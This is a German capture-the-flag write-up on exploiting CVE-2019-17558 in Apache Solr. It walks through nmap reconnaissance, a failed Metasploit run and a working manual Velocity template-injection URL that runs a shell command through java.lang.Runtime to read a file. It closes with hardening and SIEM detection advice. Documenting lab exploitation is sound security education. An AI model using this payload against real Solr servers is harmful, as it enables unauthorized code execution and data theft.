
CTF-Write-up, das die Ausnutzung von CVE-2019-17558 in Apache Solr dokumentiert und Aufklärung, Einschränkungen von Metasploit, manuelle Velocity-Template-Injection, das Erbeuten der Flagge und Behebungsmaßnahmen abdeckt.
Praktische Ausnutzung einer Schwachstelle für Velocity Template Injection in Apache Solr, die von einem Fehler in einem automatisierten Tool (Metasploit) zu einer erfolgreichen manuellen Ausnutzung führt.
Dieser Write-up dokumentiert die vollständige Vorgehensweise der Übung, mit Fokus auf die Diagnose des Tool-Fehlers und den Wechsel zur manuellen Ausnutzung.
| Element | Beschreibung |
|---|---|
| Ziel | Linux-Server mit Apache Solr auf Port 8983 |
| Zielsetzung | Inhalt einer sensiblen Datei lesen (/home/favorite_book.txt) |
| Schwachstelle | CVE-2019-17558 (RCE via Velocity Response Writer) |
Die Anfangsphase bestand in der Identifizierung aktiver Dienste auf dem Zielhost.
nmap -sV -p- <TARGET_IP>
Ergebnisse.
novacollection.Beim Zugriff auf das Administrations-Panel wurde bestätigt, dass die Solr-Version anfällig für Velocity Template Injection war.
Der Fehler tritt auf, wenn es dem Angreifer gelingt, die Konfiguration params.resource.loader.enabled auf true zu ändern. Dies ermöglicht die Verwendung benutzerdefinierter Velocity-Templates und damit die Ausführung beliebigen Java-Codes auf dem Server.
Zunächst wurde das Modul exploit/multi/http/solr_velocity_rce verwendet.
Der Exploit konnte die Solr-Konfiguration erfolgreich ändern.
[+] params.resource.loader.enabled is true for core 'novacollection'
Allerdings schlug die letzte Phase der Payload-Injektion mit einem Ruby-Ausführungsfehler fehl.
NoMethodError: undefined method 'body' for nil:NilClass
Dies zeigte, dass die Umgebung zwar anfällig und bereits vorbereitet war, das Tool jedoch die Antwort des Servers nicht verarbeiten konnte, um den Angriff abzuschließen. Das Ziel war nicht sicher, nur die Zustellmethode des Moduls musste angepasst werden.
Da der Velocity Writer von Metasploit bereits aktiviert worden war, wurde die Injektion manuell über eine HTTP-GET-Anfrage durchgeführt, wodurch der Skriptfehler umgangen wurde. Das Velocity-Template wurde so erstellt, dass es java.lang.Runtime instanziiert und den Befehl zum Lesen der Zieldatei ausführt.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Befehl, der tatsächlich auf dem Server ausgeführt wurde.
cat /home/favorite_book.txt
Die Injektion war erfolgreich und der Dateiinhalt wurde direkt im Hauptteil der HTTP-Antwort zurückgegeben, im Browser gerendert, wodurch die Flag erfasst werden konnte.
NoMethodError bedeutete kein sicheres Ziel, sondern nur, dass die Zustellmethode angepasst werden musste.params.resource.loader.enabled deaktiviert bleibt.select mit den Parametern wt=velocity überwachen, nützlich als Erkennungssignatur im SIEM.Dieses Repository wurde für Bildungszwecke und zur Dokumentation des Lernens in einer kontrollierten Umgebung (CTF) erstellt. Verwenden Sie diese Techniken nicht gegen Systeme ohne ausdrückliche Genehmigung.